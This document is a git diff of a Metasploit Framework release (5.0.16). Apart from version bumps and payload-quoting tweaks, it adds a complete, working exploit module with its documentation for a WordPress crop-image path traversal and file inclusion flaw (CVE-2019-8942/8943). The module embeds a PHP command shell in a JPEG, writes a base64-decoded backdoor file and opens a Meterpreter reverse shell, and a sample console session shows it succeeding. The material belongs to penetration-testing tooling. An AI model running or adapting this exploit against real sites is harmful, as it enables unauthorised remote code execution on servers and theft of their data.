diff --git a/Gemfile.lock b/Gemfile.lock index 87fb2a2476..775b0ea144 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.15) + metasploit-framework (5.0.16) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -113,7 +113,7 @@ GEM activerecord (>= 3.1.0, < 6) backports (3.12.0) bcrypt (3.1.12) - bcrypt_pbkdf (1.0.0) + bcrypt_pbkdf (1.0.1) bindata (2.4.4) bit-struct (0.16) builder (3.2.3) @@ -201,7 +201,7 @@ GEM nexpose (7.2.1) nokogiri (1.10.2) mini_portile2 (~> 2.4.0) - octokit (4.13.0) + octokit (4.14.0) sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.2) openvas-omp (0.0.4) @@ -361,7 +361,7 @@ GEM activemodel (>= 4.2.7) activesupport (>= 4.2.7) xmlrpc (0.3.0) - yard (0.9.18) + yard (0.9.19) PLATFORMS ruby diff --git a/LICENSE_GEMS b/LICENSE_GEMS index e64c967c75..f1038a5cb9 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -11,7 +11,7 @@ arel, 6.0.4, MIT arel-helpers, 2.8.0, MIT backports, 3.12.0, MIT bcrypt, 3.1.12, MIT -bcrypt_pbkdf, 1.0.0, MIT +bcrypt_pbkdf, 1.0.1, MIT bindata, 2.4.4, ruby bit-struct, 0.16, ruby builder, 3.2.3, MIT @@ -44,7 +44,7 @@ loofah, 2.2.3, MIT metasm, 1.0.3, LGPL metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.15, "New BSD" +metasploit-framework, 5.0.16, "New BSD" metasploit-model, 2.0.4, "New BSD" metasploit-payloads, 1.3.65, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.8, "New BSD" @@ -60,7 +60,7 @@ net-ssh, 5.2.0, MIT network_interface, 0.0.2, MIT nexpose, 7.2.1, "New BSD" nokogiri, 1.10.2, MIT -octokit, 4.13.0, MIT +octokit, 4.14.0, MIT openssl-ccm, 1.2.2, MIT openvas-omp, 0.0.4, MIT packetfu, 1.1.13, BSD @@ -133,4 +133,4 @@ warden, 1.2.7, MIT windows_error, 0.1.2, BSD xdr, 2.0.0, "Apache 2.0" xmlrpc, 0.3.0, ruby -yard, 0.9.18, MIT +yard, 0.9.19, MIT diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9203dbcb82..1cc104949a 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -66645,6 +66645,53 @@ "notes": { } }, + "exploit_multi/http/wp_crop_rce": { + "name": "WordPress Crop-image Shell Upload", + "full_name": "exploit/multi/http/wp_crop_rce", + "rank": 600, + "disclosure_date": "2019-02-19", + "type": "exploit", + "author": [ + "RIPSTECH Technology", + "Wilfried Becard " + ], + "description": "This module exploits a path traversal and a local file inclusion\n vulnerability on WordPress versions 5.0.0 and <= 4.9.8.\n The crop-image function allows a user, with at least author privileges,\n to resize an image and perform a path traversal by changing the _wp_attached_file\n reference during the upload. The second part of the exploit will include\n this image in the current theme by changing the _wp_page_template attribute\n when creating a post.\n\n This exploit module only works for Unix-based systems currently.", + "references": [ + "CVE-2019-8942", + "CVE-2019-8943", + "URL-https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/" + ], + "platform": "PHP", + "arch": "php", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "WordPress" + ], + "mod_time": "2019-04-04 15:19:58 +0000", + "path": "/modules/exploits/multi/http/wp_crop_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/wp_crop_rce", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + } + }, "exploit_multi/http/wp_ninja_forms_unauthenticated_file_upload": { "name": "WordPress Ninja Forms Unauthenticated File Upload", "full_name": "exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload", @@ -106938,7 +106985,7 @@ "targets": [ "Windows Powershell" ], - "mod_time": "2018-08-20 18:08:19 +0000", + "mod_time": "2019-03-29 18:14:56 +0000", "path": "/modules/exploits/windows/http/octopusdeploy_deploy.rb", "is_install_path": true, "ref_name": "windows/http/octopusdeploy_deploy", @@ -112871,7 +112918,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-03-29 18:14:56 +0000", "path": "/modules/exploits/windows/local/registry_persistence.rb", "is_install_path": true, "ref_name": "windows/local/registry_persistence", @@ -113203,7 +113250,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-03-29 18:14:56 +0000", "path": "/modules/exploits/windows/local/wmi.rb", "is_install_path": true, "ref_name": "windows/local/wmi", @@ -122053,7 +122100,7 @@ "DLL", "PSH" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-03-29 18:14:56 +0000", "path": "/modules/exploits/windows/smb/smb_delivery.rb", "is_install_path": true, "ref_name": "windows/smb/smb_delivery", diff --git a/documentation/modules/exploit/multi/http/wp_crop_rce.md b/documentation/modules/exploit/multi/http/wp_crop_rce.md new file mode 100644 index 0000000000..545eabe3f4 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_crop_rce.md @@ -0,0 +1,58 @@ +On WordPress versions 5.0.0 and <= 4.9.8 it is possible to gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion. +An attacker who gains access to an account with at least author privileges on the target can execute PHP code on the remote server. + +## Exploitation Steps + +1. Upload an image containing PHP code +2. Edit the `_wp_attached_file` entry from `meta_input` $_POST array to specify an arbitrary path +3. Perform the Path Traversal by using the `crop-image` Wordpress function +4. Perform the Local File Inclusion by creating a new WordPress post and set `_wp_page_template` value to the cropped image. The post will `include()` our image containing PHP code. + +When visiting the post created by the attacker it is possible to obtain code execudion. + +More details can be found on [RIPS Technology Blog](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/). + +## Verification Steps + +Confirm that functionality works: +1. Start `msfconsole` +2. `use exploit/multi/http/wp_crop_rce` +3. Set the `RHOST` +4. Set `USERNAME` and `PASSWORD` +4. Set `LHOST` and `LPORT` +5. Run the exploit: `run` +6. Confirm you have now a meterpreter session + + +## Scenarios + +### Ubuntu 18.04 running WordPress 4.9.8 + +``` +msf5 > use exploit/multi/http/wp_crop_rce +msf5 exploit(multi/http/wp_crop_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 exploit(multi/http/wp_crop_rce) > set username author +username => author +msf5 exploit(multi/http/wp_crop_rce) > set password author +password => author +msf5 exploit(multi/http/wp_crop_rce) > run + +[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Authenticating with WordPress using author:author... +[+] Authenticated with WordPress +[*] Preparing payload... +[*] Checking crop library +[*] Uploading payload +[+] Image uploaded +[*] Uploading payload +[+] Image uploaded +[*] Including into theme +[*] Sending stage (38247 bytes) to 127.0.0.1 +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400 + +meterpreter > sysinfo +Computer : ubuntu +OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 +Meterpreter : php/linux +``` diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 1304ebda59..fac5410e0a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "5.0.15" + VERSION = "5.0.16" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/modules/exploits/multi/http/wp_crop_rce.rb b/modules/exploits/multi/http/wp_crop_rce.rb new file mode 100644 index 0000000000..60bb34f034 --- /dev/null +++ b/modules/exploits/multi/http/wp_crop_rce.rb @@ -0,0 +1,455 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Crop-image Shell Upload', + 'Description' => %q{ + This module exploits a path traversal and a local file inclusion + vulnerability on WordPress versions 5.0.0 and <= 4.9.8. + The crop-image function allows a user, with at least author privileges, + to resize an image and perform a path traversal by changing the _wp_attached_file + reference during the upload. The second part of the exploit will include + this image in the current theme by changing the _wp_page_template attribute + when creating a post. + + This exploit module only works for Unix-based systems currently. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'RIPSTECH Technology', # Discovery + 'Wilfried Becard ' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-8942' ], + [ 'CVE', '2019-8943' ], + [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/'] + ], + 'DisclosureDate' => 'Feb 19 2019', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['WordPress', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), + OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) + ]) + end + + def check + cookie = wordpress_login(username, password) + if cookie.nil? + store_valid_credential(user: username, private: password, proof: cookie) + return CheckCode::Safe + end + + CheckCode::Appears + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def get_wpnonce(cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie + ) + if res && res.code == 200 && res.body && !res.body.empty? + res.get_hidden_inputs.first["_wpnonce"] + end + end + + def get_wpnonce2(image_id, cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie, + 'vars_get' => { + 'post' => image_id, + 'action' => "edit" + } + ) + if res && res.code == 200 && res.body && !res.body.empty? + tmp = res.get_hidden_inputs + wpnonce2 = tmp[1].first[1] + end + end + + def get_current_theme + uri = normalize_uri(datastore['TARGETURI']) + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => uri + ) + fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty? + + theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first + fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme + + theme + end + + def get_ajaxnonce(cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + 'action' => 'query-attachments', + 'post_id' => '0', + 'query[item]' => '43', + 'query[orderby]' => 'date', + 'query[order]' => 'DESC', + 'query[posts_per_page]' => '40', + 'query[paged]' => '1' + } + ) + fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty? + a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first + fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce + + a_nonce + end + + def upload_file(img_name, wp_nonce, cookie) + img_data = %w[ + FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F + 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00 + 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00 + 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69 + 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D + 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09 + 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D + 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06 + 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 + 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 + 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF + C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 + 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01 + 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1 + 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38 + 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 + 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 + A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 + D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF + C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 + 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 + 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09 + 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37 + 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A + 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 + A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 + D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF + DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B + 3F 3E + ] + img_data = [img_data.join].pack('H*') + img_name += '.jpg' + + boundary = "#{rand_text_alphanumeric(rand(10) + 5)}" + post_data = "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"name\"\r\n" + post_data << "\r\n#{img_name}\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"action\"\r\n" + post_data << "\r\nupload-attachment\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + post_data << "\r\n#{wp_nonce}\r\n" + post_data << "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n" + post_data << "Content-Type: image/jpeg\r\n" + post_data << "\r\n#{img_data}\r\n" + post_data << "--#{boundary}--\r\n" + print_status("Uploading payload") + upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => upload_uri, + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => post_data, + 'cookie' => cookie + ) + fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty? + print_good("Image uploaded") + res = JSON.parse(res.body) + image_id = res["data"]["id"] + update_nonce = res["data"]["nonces"]["update"] + filename = res["data"]["filename"] + return filename, image_id, update_nonce + end + + def image_editor(img_name, ajax_nonce, image_id, cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + 'action' => 'image-editor', + '_ajax_nonce' => ajax_nonce, + 'postid' => image_id, + 'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]', + 'target' => 'all', + 'context' => '', + 'do' => 'save' + } + ) + fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty? + filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first + fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename + + filename << '.jpg' + end + + def change_path(wpnonce2, image_id, filename, current_date, path, cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + '_wpnonce' => wpnonce2, + 'action' => 'editpost', + 'post_ID' => image_id, + 'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}" + } + ) + end + + def crop_image(image_id, ajax_nonce, cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + 'action' => 'crop-image', + '_ajax_nonce' => ajax_nonce, + 'id' => image_id, + 'cropDetails[x1]' => 0, + 'cropDetails[y1]' => 0, + 'cropDetails[width]' => 400, + 'cropDetails[height]' => 300, + 'cropDetails[dst_width]' => 400, + 'cropDetails[dst_height]' => 300 + } + ) + end + + def include_theme(shell_name, cookie) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie + ) + if res && res.code == 200 && res.body && !res.body.empty? + wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first + post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first + fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id + + post_title = Rex::Text.rand_text_alpha(10) + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + '_wpnonce'=> wpnonce2, + 'action' => 'editpost', + 'post_ID' => post_id, + 'post_title' => post_title, + 'post_name' => post_title, + 'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg" + } + ) + fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302 + post_id + end + end + + def check_for_base64(cookie, post_id) + uri = normalize_uri(datastore['TARGETURI']) + # Test if base64 is on target + test_string = 'YmFzZTY0c3BvdHRlZAo=' + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie, + 'vars_get' => { + 'p' => post_id, + '0' => "echo #{test_string} | base64 -d" + } + ) + fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty? + + fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted") + # Execute payload with base64 decode + @backdoor = Rex::Text.rand_text_alpha(10) + encoded = Rex::Text.encode_base64(payload.encoded) + res = send_request_cgi!( + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie, + 'vars_get' => { + 'p' => post_id, + '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php" + } + ) + + fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty? + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"), + 'cookie' => cookie + ) + end + + def wp_cleanup(shell_name, post_id, cookie) + print_status('Attempting to clean up files...') + uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { 'action' => "query-attachments" } + ) + + fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty? + infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten + id1, id2, id3 = infos[0], infos[2], infos[4] + delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5] + for i in (0...6).step(2) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'vars_post' => { + 'action' => "delete-post", + 'id' => infos[i], + '_wpnonce' => infos[i+1] + } + ) + end + + uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri1, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body && !res.body.empty? + post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first + fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce + uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri2, + 'cookie' => cookie, + 'vars_get' => { + 'post' => post_id, + 'action' => 'trash', + '_wpnonce' => post_nonce + } + ) + + fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302 + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri1, + 'cookie' => cookie, + 'vars_get' => { + 'post_status' => "trash", + 'post_type' => 'post', + '_wpnonce' => post_nonce + } + ) + + if res && res.code == 200 && res.body && !res.body.empty? + nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first + fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce + + send_request_cgi( + 'method' => 'GET', + 'uri' => uri2, + 'cookie' => cookie, + 'vars_get' => { + 'post' => post_id, + 'action' => 'delete', + '_wpnonce' => nonce + } + ) + end + end + end + + def exploit + fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? + + print_status("Authenticating with WordPress using #{username}:#{password}...") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? + print_good("Authenticated with WordPress") + store_valid_credential(user: username, private: password, proof: cookie) + + print_status("Preparing payload...") + @current_theme = get_current_theme + wp_nonce = get_wpnonce(cookie) + @current_date = Time.now.strftime("%Y/%m/") + + img_name = Rex::Text.rand_text_alpha(10) + @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie) + ajax_nonce = get_ajaxnonce(cookie) + + @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie) + wpnonce2 = get_wpnonce2(image_id, cookie) + + change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie) + crop_image(image_id, ajax_nonce, cookie) + + @shell_name = Rex::Text.rand_text_alpha(10) + change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie) + crop_image(image_id, ajax_nonce, cookie) + + print_status("Including into theme") + post_id = include_theme(@shell_name, cookie) + + check_for_base64(cookie, post_id) + wp_cleanup(@shell_name, post_id, cookie) + end + + def on_new_session(client) + client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") + client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*") + client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") + client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg") + client.shell_command_token("rm #{@backdoor}.php") + end +end diff --git a/modules/exploits/windows/http/octopusdeploy_deploy.rb b/modules/exploits/windows/http/octopusdeploy_deploy.rb index 7e1c543cdf..ca0d6c87b4 100644 --- a/modules/exploits/windows/http/octopusdeploy_deploy.rb +++ b/modules/exploits/windows/http/octopusdeploy_deploy.rb @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # Generate the powershell payload - command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, wrap_double_quotes: true) step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4)) session = create_octopus_session unless datastore['APIKEY'] diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 6ec92d502d..bf55445944 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Local def generate_payload_blob opts = { - use_single_quotes: true, + wrap_double_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index e013678ec6..60a00bbdf3 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Local else psh_options = { :remove_comspec => true, :encode_inner_payload => true, - :use_single_quotes => true } + :wrap_double_quotes => true } end psh = cmd_psh_payload(payload.encoded, diff --git a/modules/exploits/windows/smb/smb_delivery.rb b/modules/exploits/windows/smb/smb_delivery.rb index a0ca2ff380..b7878c996e 100644 --- a/modules/exploits/windows/smb/smb_delivery.rb +++ b/modules/exploits/windows/smb/smb_delivery.rb @@ -65,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote self.file_contents = cmd_psh_payload( payload.encoded, payload_instance.arch.first, remove_comspec: true, - use_single_quotes: true) + wrap_double_quotes: true) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)